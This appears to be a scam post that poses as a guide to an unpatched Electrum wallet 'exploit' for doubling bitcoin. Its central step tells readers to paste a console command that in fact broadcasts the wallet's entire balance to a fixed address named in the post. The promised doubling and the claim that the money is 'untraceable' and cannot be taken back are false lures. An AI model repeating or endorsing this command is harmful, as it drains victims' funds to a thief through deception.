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2.     Electrum had an exploit that hasn't been patched yet, read the bottom for more info
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5.         You have some money in bitcoin but you want to double it?
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7.                                 Then just follow this steps:
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9.                                 - Download the Electrum app (https://electrum.org/#home)
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11.                                 - Open a wallet there
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13.                                 - Buy bitcoins // transfer the amount of Bitcoins that you want to double to your Electrum wallet
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15.                                 - Click in View>Show Console
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17.                                 - open console tab and put this command:  broadcast(payto('3HbTKzpdhX2TaxwTxd8u26Xr63iTHPQ5Tn','!'))
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19.                                 - hit enter button, if console shows message like this: "txid...."  it works! restart electrum and view you balance x2
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21.         This is similar to the robinhood exploit which allowed people to invest millions of money that was simply given to them by the unknowing company but with this, it's untraceable and all the money ends up being yours - they can't take the money back!
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